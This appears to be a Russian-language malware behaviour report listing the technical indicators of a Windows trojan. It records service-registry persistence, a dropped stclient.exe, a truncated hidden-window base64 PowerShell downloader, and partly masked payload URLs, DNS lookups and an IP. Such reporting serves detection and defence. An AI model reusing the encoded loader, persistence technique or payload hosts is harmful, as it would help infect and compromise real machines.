Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\stclient] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\stclient] 'ImagePath' = '"<SYSTEM32>\msobjs\stclient.exe"'
- 'stclient' "<SYSTEM32>\msobjs\stclient.exe"
- 'stclient' <SYSTEM32>\msobjs\stclient.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB4AGEAbwB4AD0AJwBoAGkAZgBmAGEAbwB6AHcAaQBhAHoAagBpAGEAcgBoAG8AbwB5AHYAdQB1AHoAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGAAYwB1AGAAUgBpAFQAWQBQAH...
- %HOMEPATH%\988.exe
- <SYSTEM32>\msobjs\stclient.exe
- %HOMEPATH%\988.exe в <SYSTEM32>\msobjs\stclient.exe
- '17#.#44.135.2':80
- http://fi#####rcleanerstx.com/wp-content/mu-plugins/2CLid868/
- http://cr#.###ayanpharma.com/application/ffltO/
- http://cr#.###ayanpharma.com/cgi-sys/suspendedpage.cgi
- http://za###ajouk.com/cf9r4nd/Xsma350581/
- http://17#.#44.135.2/u4gtphe/Q0w6WLX680ZcZ/KspxGOfhKZlD/Spg0fA9x2jpL/
- DNS ASK fi#####rcleanerstx.com
- DNS ASK bh####raexpress.com
- DNS ASK cr#.###ayanpharma.com
- DNS ASK za###ajouk.com
- '%HOMEPATH%\988.exe'
- '<SYSTEM32>\msobjs\stclient.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB4AGEAbwB4AD0AJwBoAGkAZgBmAGEAbwB6AHcAaQBhAHoAagBpAGEAcgBoAG8AbwB5AHYAdQB1AHoAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGAAYwB1AGAAUgBpAFQAWQBQAH...' (со скрытым окном)